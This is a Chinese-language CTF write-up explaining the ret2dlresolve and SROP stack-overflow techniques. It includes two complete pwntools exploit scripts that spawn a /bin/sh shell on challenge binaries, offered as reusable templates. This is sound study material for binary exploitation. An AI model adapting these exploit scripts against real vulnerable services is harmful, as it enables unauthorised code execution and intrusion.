ret2dlresolve以及srop

ret2dlresolve

ret2dlsolve的核心原理就是利用了 延迟绑定 技术，linux在加载ELF可执行文件的时候，包含的动态链接文件里的符号，并不会直接把这些符号的实际地址加载到内存中，而是会使用PLT + GOT 表来实现延迟绑定，简单说就是在第一次用到动态链接文件里的符号的时候才会去寻找符号的实际位置然后保存下来，下次使用的时候就可以直接访问了

具体详情https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve/

 

 用32位IDA分析

发现只有一个read函数，没有打印函数，我们就不能通过libc,syscall去解题，因为无法打印出libc基址

这里我们可以直接通过脚本去获取权限

脚本如下：

from pwn import *
p=process("./pwn32")
elf = context.binary = ELF('./pwn32')
#p = remote("pwn.node.game.sycsec.com",11111)
rop = ROP(elf)

# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])

rop.raw('A' * (0x48+4))
rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)

log.info(rop.dump())

p.sendline(rop.chain())
p.sendline(dlresolve.payload)
p.interactive()

在这里我们只需要去修改文件名，以及填充的垃圾数据。

以后做这类题目可以直接套用上面的脚本，当然，如果是64为的话，也是一样的呦

srop

具体详情：https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop/

 

查看保护，用IDA分析

 

我们不能直接用ret2syscall去解题，因为没有给我们所需要的寄存器

所以我们就会想到用srop去解题，首先需要伪造栈帧信息，通过执行sigreturn（也就是syscall系统调用），还原出我们伪造的栈帧信息，来达到控制寄存器的目的 ，上面的网站有详细的讲解呦！

将rdi寄存器控制成/bin/sh的地址，rsi,rdx寄存器控制成0，rax寄存器控制成0x3b(也就是execve)

 

由于我们在读入数据+8 之后，栈顶的位置成了我们读入数据的位置，发生了偏移，所以将+8去掉，栈顶会指向主函数，就会解决这个问题！

这下就说明我们修改成功啦

伪造信息时我们会用到pwntools里面的工具

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = stack
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall

 这就是我们修改寄存器里面的内容的步骤，当然，还能修改其他寄存器，视情况而定。

 下面就是找栈地址的偏移

找到偏移为296 ！

 脚本如下：

from pwn import *
context(log_level='debug',os='linux',arch='amd64')
#p=remote("node4.buuoj.cn",29608)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
p=process("./pwn")
elf=ELF("./pwn")
def bug():
	gdb.attach(p)
	pause()
syscall=0x400517

pay=b'a'*(0x10)+p64(0x4004ED)
bug()
p.send(pay)

stack=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print(hex(stack))
 
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = stack-296
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
 
 
pause()
pay=b'/bin/sh\x00'*2+p64(0x4004DA)+p64(syscall)+bytes(frame)

p.send(pay)
p.interactive()